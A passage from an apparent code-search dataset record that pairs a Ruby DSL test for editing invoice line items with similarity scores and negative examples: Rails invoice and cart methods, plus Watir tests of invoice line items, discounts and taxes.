"def update\n @breadcrumb = 'update'\n @supplier_invoice = SupplierInvoice.find(params[:id])\n\n master_changed = false\n # Should use attachment from drag&drop?\n if $attachment != nil && !$attachment.avatar.blank? && $attachment.updated_at > @supplier_invoice.updated_at\n @supplier_invoice.attachment = $attachment.avatar\n end\n if @supplier_invoice.attachment.dirty? || $attachment_changed\n master_changed = true\n end\n\n items_changed = false\n if params[:supplier_invoice][:supplier_invoice_approvals_attributes]\n params[:supplier_invoice][:supplier_invoice_approvals_attributes].values.each do |new_item|\n current_item = SupplierInvoiceApproval.find(new_item[:id]) rescue nil\n if ((current_item.nil?) || (new_item[:_destroy] != \"false\") ||\n ((current_item.approver_id.to_i != new_item[:approver_id].to_i) ||\n (current_item.approval_date != new_item[:approval_date].to_date) ||\n (current_item.approved_amount.to_f != new_item[:approved_amount].to_f) ||\n (current_item.remarks != new_item[:remarks])))\n items_changed = true\n break\n end\n end\n end\n if !items_changed && params[:supplier_invoice][:supplier_invoice_items_attributes]\n params[:supplier_invoice][:supplier_invoice_items_attributes].values.each do |new_item|\n current_item = SupplierInvoiceItem.find(new_item[:id]) rescue nil\n if ((current_item.nil?) || (new_item[:_destroy] != \"false\") ||\n ((current_item.product_id.to_i != new_item[:product_id].to_i) ||\n (current_item.description != new_item[:description]) ||\n (current_item.code != new_item[:code]) ||\n (current_item.quantity.to_f != new_item[:quantity].to_f) ||\n (current_item.price.to_f != new_item[:price].to_f) ||\n (current_item.discount_pct.to_f != new_item[:discount_pct].to_f) ||\n (current_item.discount.to_f != new_item[:discount].to_f) ||\n (current_item.tax_type_id.to_i != new_item[:tax_type_id].to_i) ||\n (current_item.receipt_note_id.to_i != new_item[:receipt_note_id].to_i) ||\n (current_item.receipt_note_item_id.to_i != new_item[:receipt_note_item_id].to_i) ||\n (current_item.project_id.to_i != new_item[:project_id].to_i) ||\n (current_item.work_order_id.to_i != new_item[:work_order_id].to_i) ||\n (current_item.charge_account_id.to_i != new_item[:charge_account_id].to_i)))\n items_changed = true\n break\n end\n end\n end\n if ((params[:supplier_invoice][:organization_id].to_i != @supplier_invoice.organization_id.to_i) ||\n (params[:supplier_invoice][:project_id].to_i != @supplier_invoice.project_id.to_i) ||\n (params[:supplier_invoice][:invoice_no].to_s != @supplier_invoice.invoice_no) ||\n (params[:supplier_invoice][:invoice_date].to_date != @supplier_invoice.invoice_date) ||\n (params[:supplier_invoice][:supplier_id].to_i != @supplier_invoice.supplier_id.to_i) ||\n (params[:supplier_invoice][:receipt_note_id].to_i != @supplier_invoice.receipt_note_id.to_i) ||\n (params[:supplier_invoice][:work_order_id].to_i != @supplier_invoice.work_order_id.to_i) ||\n (params[:supplier_invoice][:charge_account_id].to_i != @supplier_invoice.charge_account_id.to_i) ||\n (params[:supplier_invoice][:payment_method_id].to_i != @supplier_invoice.payment_method_id.to_i) ||\n (params[:supplier_invoice][:withholding].to_f != @supplier_invoice.withholding.to_f) ||\n (params[:supplier_invoice][:discount_pct].to_f != @supplier_invoice.discount_pct.to_f) ||\n (params[:supplier_invoice][:internal_no].to_s != @supplier_invoice.internal_no) ||\n (params[:supplier_invoice][:payday_limit].to_s != @supplier_invoice.payday_limit) ||\n (params[:supplier_invoice][:posted_at].to_s != @supplier_invoice.posted_at) ||\n (params[:supplier_invoice][:remarks].to_s != @supplier_invoice.remarks))\n master_changed = true\n end\n\n respond_to do |format|\n if master_changed || items_changed\n @supplier_invoice.updated_by = current_user.id if !current_user.nil?\n $attachment_changed = false\n if @supplier_invoice.update_attributes(params[:supplier_invoice])\n destroy_attachment\n $attachment = nil\n format.html { redirect_to @supplier_invoice,\n notice: (crud_notice('updated', @supplier_invoice) + \"#{undo_link(@supplier_invoice)}\").html_safe }\n format.json { head :no_content }\n else\n destroy_attachment\n $attachment = Attachment.new\n @projects = projects_dropdown_edit(@supplier_invoice.project)\n # @search_projects = @projects.map{ |p| p.id }.map(&:inspect).join(',')\n @work_orders = @supplier_invoice.project.blank? ? work_orders_dropdown : @supplier_invoice.project.work_orders.order(:order_no)\n @charge_accounts = work_order_charge_account(@supplier_invoice)\n # @stores = work_order_store(@supplier_invoice)\n @suppliers = suppliers_dropdown\n @payment_methods = @supplier_invoice.organization.blank? ? payment_methods_dropdown : payment_payment_methods(@supplier_invoice.organization_id)\n @receipt_notes = @supplier_invoice.supplier.blank? ? receipts_dropdown : receipts_dropdown_by_supplier(@supplier_invoice.supplier)\n @purchase_orders = @supplier_invoice.supplier.blank? ? unbilled_purchase_orders_dropdown : unbilled_purchase_orders_dropdown_by_supplier(@supplier_invoice.supplier)\n @note_items = []\n @order_items = []\n @products = []\n # @note_items = @supplier_invoice.receipt_note.blank? ? [] : note_items_dropdown(@supplier_invoice.receipt_note)\n # if @note_items.blank?\n # @products = @supplier_invoice.organization.blank? ? products_dropdown : @supplier_invoice.organization.products(:product_code)\n # else\n # @products = @note_items.first.receipt_note.products.group(:product_code)\n # end\n # Special to approvals\n @invoice_debt = number_with_precision(@supplier_invoice.debt.round(4), precision: 4)\n @invoice_not_yet_approved = number_with_precision(@supplier_invoice.amount_not_yet_approved.round(4), precision: 4)\n @users = User.where('id = ?', current_user.id)\n @is_approver = company_approver(@supplier_invoice, @supplier_invoice.project.company, current_user.id) ||\n office_approver(@supplier_invoice, @supplier_invoice.project.office, current_user.id) ||\n (current_user.has_role? :Approver)\n @companies = @supplier_invoice.organization.blank? ? companies_dropdown : companies_dropdown_edit(@supplier_invoice.organization)\n format.html { render action: \"edit\" }\n format.json { render json: @supplier_invoice.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to @supplier_invoice }\n format.json { head :no_content }\n end\n end\n end",
"def add\n @item.increment(:quantity)\n @item.save!\n\n refresh\n end",
"def save_items\n self.items.each { |c| if c.destroy_association? then c.destroy else c.save end }\n self.added_items.each { |c| c.save unless c.nil? } unless self.added_items.nil?\n end",
"def update_quantity(grocery_list, item, quantity)\r\n add_item(grocery_list, item, quantity)\r\n \r\nend",
"def add_book(book)\n current_item = line_items.find_by(book_id: book.id)\n if current_item\n current_item.quantity +=1\n else\n current_item = line_items.build(book_id: book.id)\n end\n current_item\n end",
"def update_quantity(item, list, quantity)\n add_item(item, list, quantity)\nend",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.repairs.each do |repair|\n repair.invoice_id = nil\n repair.save!\n end\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def generate_invoice_items\n if self.project_id.present? && self.payment_profile_id.present? && @start_date.present? && @end_date.present?\n project = Project.find(self.project_id)\n payment_profile = PaymentProfile.find(self.payment_profile_id)\n total_cost_cents = 0;\n\n default_currency = project.account.account_setting.default_currency\n invoice_currency = self.currency || project.account.account_setting.default_currency\n\n # Get mins tracked\n mins_tracked = Timing.minute_duration_submitted_for_period_by_project(project.id, @start_date, @end_date)\n\n # Generate cost\n if payment_profile.rate_card_payment_profiles.present?\n payment_profile.rate_card_payment_profiles.each do |rate_card_payment_profile|\n cost_per_min = rate_card_payment_profile.rate_card.cost_per_min_for_client(project.client_id, project.account)\n mins_for_rate_card = (mins_tracked / 100.0) * rate_card_payment_profile.percentage\n total_cost_cents += mins_for_rate_card * cost_per_min\n end\n end\n\n # Create new invoice item with correct values\n invoice_item_instance = InvoiceItem.new(:quantity => 1, :name => payment_profile.name, :payment_profile_id => payment_profile.id)\n invoice_item_instance.amount_cents = Currency.convert_amount(default_currency, invoice_currency, total_cost_cents)\n return invoice_item_instance\n end\n nil\n end",
"def add_items_from_cart(cart)\n\t\tcart.line_items.each do |item|\n\t\t\titem.cart_id = nil\n\t\t\tline_items << item\n\t\tend\n\tend",
"def invoice_num\n item_id\n end",
"def rollback_item\n ingreso_producto = self.ingreso_producto\n ingreso_producto.cantidad = ingreso_producto.cantidad + self.cantidad\n ingreso_producto.producto.stock = ingreso_producto.producto.stock + self.cantidad #suma al stock si se anula\n Lineakardex.create(:kardex => ingreso_producto.producto.kardex, :tipo => \"Entrada\", :fecha => Time.now, :cantidad => self.cantidad, :v_unitario => self.ingreso_producto.producto.precio_venta, :modulo => \"Hospitalizacion\", :observaciones => \"Pedido Anulado\" )\n ingreso_producto.save\n ingreso_producto.producto.save\n end",
"def invoice(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"/invoices\"\n data = {\n\n }\n\n response = Response.new(request.post(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"invoice\"]\n invoice = Invoice(self._client)\n return_values.push(invoice.fill_with_data(body))\n\n \n return_values[0]\n end",
"def invoices\n @invoices ||= new_resource(self, :invoice, :invoices)\n end"
] |
[
"0.66532695",
"0.6511211",
"0.6505147",
"0.64429724",
"0.6395524",
"0.6354986",
"0.6324268",
"0.6311021",
"0.6232456",
"0.6216701",
"0.62118167",
"0.6158757",
"0.6153422",
"0.6135942",
"0.61298585",
"0.60817504",
"0.6078907",
"0.60595196",
"0.60558444",
"0.60461545",
"0.6027432",
"0.6025532",
"0.5999373",
"0.599384",
"0.5992043",
"0.5988644",
"0.59610695",
"0.5933612",
"0.5926868",
"0.5911967",
"0.5897705",
"0.58730453",
"0.58568335",
"0.58469886",
"0.5843663",
"0.58385265",
"0.583293",
"0.58128804",
"0.57972455",
"0.5791563",
"0.57842994",
"0.5775087",
"0.5754538",
"0.5745825",
"0.5741788",
"0.57203275",
"0.5719166",
"0.57143146",
"0.5706503",
"0.5701356",
"0.5695327",
"0.56768936",
"0.567587",
"0.56674117",
"0.56630343",
"0.5649706",
"0.5642345",
"0.5638125",
"0.5638125",
"0.5638125",
"0.5638125",
"0.563685",
"0.56362146",
"0.56307316",
"0.56282234",
"0.56243736",
"0.5620494",
"0.56194913",
"0.56166345",
"0.56152314",
"0.56091183",
"0.5607967",
"0.5605441",
"0.5601558",
"0.5598625",
"0.5596279",
"0.5592005",
"0.55918294",
"0.55870956",
"0.55797374",
"0.55672115",
"0.55658585",
"0.556401",
"0.5555561",
"0.55530596",
"0.5550087",
"0.554897",
"0.5548649",
"0.55466294",
"0.55443656",
"0.5542096",
"0.55419946",
"0.55407095",
"0.5538753",
"0.5536919",
"0.5526854",
"0.55196625",
"0.55179137",
"0.5515781",
"0.5513492"
] |
0.62403065
|
8
|
DSL tests Test dsl for add, remove, and edit items from existing invoice
|
def test_dsl_should_add_edit_and_remove_line_items_in_invoice
assert_no_difference 'Invoice.count' do
assert_no_difference 'LineItem.count' do
@basic_user.edits_invoice(invoices(:invoice_with_line_items).id)
assert_equal 3, @basic_user.adds_line_item(:unit => 'New line item', :description => 'Description of new line item')
assert @basic_user.removes_line_item(2)
@basic_user.edits_line_item(1, :description => 'Changed Description One').
and_submits
end
end
invoice = Invoice.find(invoices(:invoice_with_line_items).id)
assert_equal 2, invoice.line_items.count
assert_equal 'Changed Description One', invoice.line_items[0].description
assert_equal line_items(:line_item_one).description, invoice.line_items[0].description
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get newly added last row in the table to enter text\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),'Description of new line item')\r\n \r\n #remove the second line item\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(2)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Deleted Description two\")\r\n tr.link(:name, 'remove').click\r\n assert_equal false, tr.visible?\r\n \r\n #edit the first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(1)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Changed Description One\")\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n \r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def test_should_create_and_delete_line_items_before_post\r\n assert_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', 1 do\r\n @basic_user.creates_new_invoice\r\n @basic_user.enter_new_customer(\r\n :name => \"Test 8 Customer Name 4\") \r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 1, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"), \"Description one\")\r\n\r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get second row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n\r\n @basic_user.populate(tr2.text_field(:name, 'invoice[line_items_attributes][][description]'),'Description two')\r\n\r\n #remove the first line item\r\n @basic_user.line_items_rows[::WatirBrowser.item_index(1)].link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n\r\n invoice = Invoice.find(:first, :order => 'id desc')\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal 'Description two', invoice.line_items[0].description\r\n end",
"def test_should_update_new_invoice_total_when_line_item_is_deleted\r\n update_profile_taxes(\r\n :tax_enabled => true,\r\n :tax_1_name => \"tax 1 name\",\r\n :tax_1_rate => \"5.0\",\r\n :tax_2_name => \"\",\r\n :discount_before_tax => false)\r\n \r\n @user.creates_new_invoice\r\n # the first line is created automatically, no need to click add line \r\n @user.edits_line_item(1,:unit => 'line one', :quantity => '1', :price => '1.23')\r\n @user.adds_line_item(:unit => 'line two', :quantity => '1', :price => '4.56')\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 5.79,\r\n :tax_1_amount => 0.29,\r\n :discount_amount => 0,\r\n :total => 6.08)\r\n \r\n @user.removes_line_item(1)\r\n\r\n verify_invoice_view_fields(\r\n :line_items_total => 4.56,\r\n :tax_1_amount => 0.23,\r\n :discount_amount => 0,\r\n :total => 4.79)\r\n end",
"def test_should_remove_second_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n @basic_user.populate(tr2.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description two\")\r\n\r\n #remove the second line item\r\n tr2.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description \r\n \r\n end",
"def test_add_invoice\n kwhite17 = members(:kwhite17)\n tank = members(:tank)\n invoices_expected = Array.new\n \n invoice1 = invoices(:one)\n group_purchase1 = group_purchases(:one)\n invoice1.group_purchase = group_purchase1\n invoice1.debtor = kwhite17\n invoice1.save\n\n invoices_expected.push(invoice1)\n\n assert_equal group_purchase1.invoices, invoices_expected, \"Test adding invoice\"\n \n end",
"def test_discount_per_invoice\r\n\r\n\r\n# puts \"Customer.find_by_name('heavy_user_customer_1'): #{Customer.find_by_name('heavy_user_customer_1').inspect}\"\r\n\r\n # Add an Invoice\r\n assert_difference 'Invoice.count' do\r\n #Create new Invoice and fill it up\r\n @user.creates_new_invoice\r\n fill_invoice_for @user \r\n \r\n #Customer Info \r\n current_customer = customers(\"heavy_user_customer_1\".to_sym)\r\n @user.enter_new_customer(:name => current_customer.name) \r\n \r\n # quantity and price keep the same value so calculating subtotal is easy \r\n quantity = 10 \r\n price = 5.00\r\n discount = 50.00\r\n discount_percent = 10.00\r\n \t \r\n #Add line items\r\n add_line_items(quantity, price)\r\n\t \r\n # Discount and Type\r\n @user.populate(@user.text_field(:id, \"invoice_discount_value\"),discount.to_s)\r\n @user.select_list(:id, \"invoice_discount_type\").option(:text, \"amount\").select\r\n \r\n # Submit and verify \r\n assert_difference 'LineItem.count', @number_of_line_items do\r\n @user.submits \r\n end\r\n \r\n # Edit Invoice\r\n id_last_invoice = Invoice.find(:first, :order => \"id DESC\").id\r\n @user.edits_invoice(id_last_invoice)\r\n \r\n # Verify SubTotal, Discount and Total \r\n subTotal = quantity * price * @number_of_line_items\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n \r\n # Changing discount type\r\n @user.expects_ajax(2) do\r\n @user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount_percent.to_s)\r\n @user.select_list(:name, 'invoice[discount_type]').select \"percent\"\r\n end\r\n\r\n @user.submits\r\n\r\n # Edit Invoice\r\n id_last_invoice = Invoice.find(:first, :order => \"id DESC\").id\r\n @user.edits_invoice(id_last_invoice)\r\n \r\n # Verify SubTotal, Discount and Total \r\n discount = discount_percent * subTotal / 100.00\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n \r\n end \r\n end",
"def test_invoice_no_discount\r\n\r\n # Add an Invoice\r\n assert_difference 'Invoice.count' do\r\n \r\n #Create new Invoice and fill it up\r\n @user.creates_new_invoice\r\n fill_invoice_for @user \r\n\r\n #Customer Info \r\n current_customer = customers(\"heavy_user_customer_1\".to_sym)\r\n @user.enter_new_customer( \r\n :name => current_customer.name\r\n ) \r\n \r\n # quantity and price initial values\r\n quantity = 20\r\n price = 4.00\r\n \t \r\n #Add line items\r\n add_line_items(quantity, price)\r\n\t \r\n # Submit and verify\r\n assert_difference 'LineItem.count', @number_of_line_items do\r\n @user.submits \r\n end \r\n end \r\n end",
"def test_should_remove_first_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description one\")\r\n\r\n #remove the first line item\r\n tr1.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_two).description, invoice.line_items[0].description\r\n end",
"def test_it_can_create_a_new_invoice_when_sent_create_with_params\n previous_invoice_count = @instance.all.count\n customer1 = @instance.engine.customer_repository.find_by_id(1)\n merchant1 = @instance.engine.merchant_repository.find_by_id(1)\n item1 = @instance.engine.item_repository.find_by_id(1)\n item2 = @instance.engine.item_repository.find_by_id(2)\n @instance.create(customer: customer1,\n merchant: merchant1,\n status: \"shipped\",\n items: [item1, item1, item2])\n assert_equal previous_invoice_count + 1, @instance.all.count\n end",
"def test_edit_invoice_with_edited_enabled_taxes_with_profile_taxes_unchanged\n # show invoice.taxes. Include a link to use profile taxes.\n context = \"when editing invoice with edited taxes with profile taxes unchanged\"\n user = tax_user(:basic_user)\n user.enable_profile_taxes\n assert user.profile.tax_enabled\n\n user.login\n # puts \"do click new invoice\"\n user.clicks_create_new_invoice\n\n user.assert user.assigns(:invoice)\n user.assert_taxes(user.assigns(:invoice), \"after creating new invoice \" + context)\n\n # puts \"do save invoice\"\n user.saves_new_invoice(\n :customer_id => user.scratch.fixture_user.customers.first.id,\n :date => Time.now.to_date.to_s(:MMDDYYYY),\n :due_date => (Time.now + 1.week).to_date.to_s(:MMDDYYYY),\n :description => Babel.random_short.gsub( '&', 'and' ),\n :tax_1_name => 'custom',\n :tax_2_rate => 9\n )\n\n new_invoice = user.assigns(:invoice)\n user.assert_taxes(new_invoice, \"after saving new invoice \" + context, \n {:tax_2_rate => 9, :tax_2_edited => true, :tax_1_name => 'custom', :tax_1_edited => true})\n\n new_invoice.reload\n # puts \"new_invoice: #{new_invoice.inspect}\"\n user.assert_taxes(new_invoice, \"after reloading invoice object \" + context,\n {:tax_2_rate => 9, :tax_2_edited => true, :tax_1_name => 'custom', :tax_1_edited => true})\n\n # puts \"do edit invoice with #{new_invoice.id} user.assigns(:invoice): #{user.assigns(:invoice).inspect}\"\n user.edits_invoice(new_invoice.id)\n\n # puts user.assigns(:invoice).taxes.inspect\n user.deny user.assigns(:invoice).taxes.empty?, \"edited invoice taxes was, empty #{context}\"\n user.assert_taxes(user.assigns(:invoice), \"after editing new invoice \" + context,\n {:tax_2_rate => 9, :tax_2_edited => true, :tax_1_name => 'custom', :tax_1_edited => true}) \n\n end",
"def test_edit_invoice_with_unedited_enabled_taxes_with_profile_taxes_unchanged\n # show invoice.taxes\n context = \"when editing invoice with unedited taxes with profile taxes unchanged\"\n user = tax_user(:basic_user)\n user.enable_profile_taxes\n assert user.profile.tax_enabled\n\n\n user.login\n # puts \"do click new invoice\"\n user.clicks_create_new_invoice\n\n user.assert user.assigns(:invoice)\n user.assert_taxes(user.assigns(:invoice), \"after creating new invoice \" + context)\n\n # puts \"do save invoice\"\n user.saves_new_invoice(\n :customer_id => user.scratch.fixture_user.customers.first.id,\n :date => Time.now.to_date.to_s(:MMDDYYYY),\n :due_date => (Time.now + 1.week).to_date.to_s(:MMDDYYYY),\n :description => Babel.random_short.gsub( '&', 'and' )\n )\n\n new_invoice = user.assigns(:invoice)\n user.assert_taxes(new_invoice, \"after saving new invoice \" + context)\n\n new_invoice.reload\n# puts \"new_invoice: #{new_invoice.inspect}\"\n user.assert_taxes(new_invoice, \"after reloading invoice object \" + context)\n \n # puts \"do edit invoice with #{new_invoice.id} user.assigns(:invoice): #{user.assigns(:invoice).inspect}\"\n user.edits_invoice(new_invoice.id)\n\n # puts user.assigns(:invoice).taxes.inspect\n user.deny user.assigns(:invoice).taxes.empty?, \"edited invoice taxes was, empty #{context}\"\n user.assert_taxes(user.assigns(:invoice), \"after editing new invoice \" + context)\n\n end",
"def test_invoice_discount_changed_a\r\n # Add an Invoice\r\n assert_difference 'Invoice.count' do\r\n \r\n #Create new Invoice and fill it up\r\n @user.creates_new_invoice\r\n fill_invoice_for @user \r\n \r\n #Customer Info \r\n current_customer = customers(\"heavy_user_customer_1\".to_sym)\r\n @user.enter_new_customer(\r\n :name => current_customer.name\r\n ) \r\n \r\n # quantity and price keep the same value so calculating subtotal is easy \r\n quantity = 10 \r\n price = 5.00\r\n discount = 50.00\r\n discount_percent = 10.00\r\n \t \r\n #Add line items\r\n add_line_items(quantity, price)\r\n\t \r\n # Discount and Type\r\n\r\n @user.populate(@user.text_field(:id, \"invoice_discount_value\"), discount.to_s)\r\n @user.select_list(:id, \"invoice_discount_type\").option(:text, \"amount\").select\r\n\r\n @user.b.wait\r\n sleep 1\r\n # Verify SubTotal, Discount and Total \r\n subTotal = quantity * price * @number_of_line_items\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\t \r\n # Changing discount type\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount_percent.to_s)\r\n \t\t@user.select_list(:name, 'invoice[discount_type]').select \"percent\"\r\n\t end\r\n\r\n # Verify SubTotal, Discount and Total \r\n discount = discount_percent * subTotal / 100.00\r\n total = subTotal - discount\r\n \r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\t \r\n\t # Changing discount and type and verify\r\n\t # Change to 200 discount Amount\r\n\t discount = 200.00\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount.to_s)\r\n @user.select_list(:name, 'invoice[discount_type]').select \"amount\"\r\n\t end\r\n\t \r\n\t # Verify SubTotal, Discount and Total \r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\r\n\t # Changing discount and type and verify\r\n\t # Change to 100% discount\r\n\t discount_percent = 100.00\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount_percent.to_s)\r\n \t\t@user.select_list(:name, 'invoice[discount_type]').select \"percent\"\r\n\t end\r\n\t \r\n\t # Verify SubTotal, Discount and Total \r\n\t discount = discount_percent * subTotal / 100.00\r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\r\n\t # Changing discount and type and verify\r\n\t # Change to amount discount equal to subtotal so total is 0\r\n\t @user.expects_ajax(2) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), subTotal.to_s)\r\n @user.select_list(:name, 'invoice[discount_type]').select \"amount\"\r\n\t end\r\n\r\n\t # Verify SubTotal, Discount and Total \r\n\t discount = subTotal\r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n\r\n\t # Changing discount and type and verify\r\n\t # Set discount amount to 0 without changing type\r\n\t discount = 0.00\r\n\t @user.expects_ajax(1) do\r\n\t \t@user.populate(@user.text_field(:name, 'invoice[discount_value]'), discount.to_s)\r\n\t end\r\n\r\n\t # Verify SubTotal, Discount and Total \r\n\t total = subTotal - discount\r\n\r\n assert_equal(format_amount(subTotal), @user.span(:id, \"invoice_line_items_total\").text)\r\n assert_equal(format_amount(discount), @user.span(:id, \"invoice_discount_amount\").text)\r\n assert_equal(format_amount(total), @user.span(:id, \"invoice_total\").text)\r\n \r\n # Submit and verify \r\n assert_difference 'LineItem.count', @number_of_line_items do\r\n @user.submits \r\n end\r\n end\r\n \r\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def test_create_invoice_and_edit_taxes_should_copy_taxes_and_mark_edited\n context = \"with taxes enabled in profile and valid\"\n user = tax_user(:basic_user)\n user.enable_profile_taxes\n assert user.profile.tax_enabled\n\n user.login\n# puts \"do click new invoice\"\n user.clicks_create_new_invoice\n \n user.assert_select 'div#tax_container', true, \"new invoice screen was missing tax_container #{context}\"\n \n user.assert_select 'input#invoice_tax_1_enabled', true, \"new invoice failed to show tax_1_enabled #{context}\"\n user.assert_select 'input#invoice_tax_1_rate', true, \"new invoice failed to show tax_1_rate #{context}\"\n\n user.assert_select 'input#invoice_tax_2_enabled', true, \"new invoice failed to show tax_2_enabled #{context}\"\n user.assert_select 'input#invoice_tax_2_rate', true, \"new invoice failed to show tax_2_rate #{context}\"\n \n user.assert user.assigns(:invoice)\n user.deny user.assigns(:invoice).taxes.empty?\n\n user.assert_taxes(user.assigns(:invoice), context)\n# puts \"do save invoice\"\n user.saves_new_invoice(:tax_1_rate => '10.1')\n# puts user.assigns(:invoice).taxes.inspect\n\n user.assert_taxes(user.assigns(:invoice), context, {:tax_1_rate => 10.1, :tax_1_edited => true})\n end",
"def test_should_create_order_line_item\n a_towel = items(:towel)\n an_order_line_item = OrderLineItem.for_product(a_towel)\n \n assert_equal an_order_line_item.item, a_towel\n assert_equal an_order_line_item.name, a_towel.name\n assert_equal an_order_line_item.unit_price, a_towel.price\n # When created the quantity should be 1.\n assert_equal an_order_line_item.quantity, 1\n \n assert_equal an_order_line_item.total, a_towel.price * 1\n assert_equal an_order_line_item.product_id, a_towel.id\n assert_equal an_order_line_item.product, a_towel\n assert_equal an_order_line_item.code, a_towel.code\n assert_equal an_order_line_item.code, a_towel.code\n assert_equal an_order_line_item.name, a_towel.name\n \n assert an_order_line_item.save\n end",
